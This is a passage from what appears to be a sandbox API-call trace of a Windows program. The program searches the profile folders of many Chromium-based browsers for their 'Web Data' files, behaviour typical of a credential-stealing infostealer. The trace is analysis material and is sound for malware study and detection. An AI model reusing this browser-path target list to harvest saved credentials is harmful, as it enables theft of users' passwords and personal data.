ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.093] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴㉴씺텨\x18\x05") returned 8 [0075.093] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.093] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.093] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\RockMelt\\User Data\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\RockMelt\\User Data\\") returned 0x40 [0075.093] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\RockMelt\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.093] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴㉴씺텨\x18\x05") returned 8 [0075.093] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.093] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.093] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\360Browser\\Browser\\User Data\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\360Browser\\Browser\\User Data\\") returned 0x4a [0075.093] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\360Browser\\Browser\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.093] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴㉴씺텨\x18\x05") returned 8 [0075.093] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.094] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.094] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Vivaldi\\User Data\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Vivaldi\\User Data\\") returned 0x3f [0075.094] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Vivaldi\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.094] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴㉴씺텨\x18\x05") returned 8 [0075.094] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.094] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.094] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Opera Software\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Opera Software\\") returned 0x3e [0075.094] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Opera Software\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.094] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴㉴씺텨\x18\x05") returned 8 [0075.094] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.094] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.094] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Go!\\User Data\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Go!\\User Data\\") returned 0x3b [0075.094] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Go!\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.094] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴㉴씺텨\x18\x05") returned 8 [0075.094] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.094] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.094] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Sputnik\\Sputnik\\User Data\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Sputnik\\Sputnik\\User Data\\") returned 0x47 [0075.094] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Sputnik\\Sputnik\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.095] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴㉴씺텨\x18\x05") returned 8 [0075.095] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.095] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.095] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Kometa\\User Data\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Kometa\\User Data\\") returned 0x3e [0075.095] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Kometa\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.095] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴㉴씺텨\x18\x05") returned 8 [0075.095] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.095] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.095] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\uCozMedia\\Uran\\User Data\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\uCozMedia\\Uran\\User Data\\") returned 0x46 [0075.095] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\uCozMedia\\Uran\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.095] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴㉴씺텨\x18\x05") returned 8 [0075.095] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.095] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.095] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\QIP Surf\\User Data\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\QIP Surf\\User Data\\") returned 0x40 [0075.095] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\QIP Surf\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.095] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴㉴씺텨\x18\x05") returned 8 [0075.095] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.096] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.096] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Epic Privacy Browser\\User Data\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Epic Privacy Browser\\User Data\\") returned 0x4c [0075.096] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.096] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴㉴씺텨\x18\x05") returned 8 [0075.096] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.096] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.096] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\brave\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\brave\\") returned 0x35 [0075.096] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\brave\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.096] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴㉴씺텨\x18\x05") returned 8 [0075.096] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.096] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.096] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\CocCoc\\Browser\\User Data\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CocCoc\\Browser\\User Data\\") returned 0x46 [0075.096] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.096] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴㉴씺텨\x18\x05") returned 8 [0075.096] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.096] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.096] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\CentBrowser\\User Data\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CentBrowser\\User Data\\") returned 0x43 [0075.096] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CentBrowser\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.097] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴㉴씺텨\x18\x05") returned 8 [0075.097] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.097] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.097] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\7Star\\7Star\\User Data\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\7Star\\7Star\\User Data\\") returned 0x43 [0075.097] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.097] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴㉴씺텨\x18\x05") returned 8 [0075.097] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.097] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.097] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Elements Browser\\User Data\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Elements Browser\\User Data\\") returned 0x48 [0075.097] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Elements Browser\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.097] MultiByteToWideChar (in: 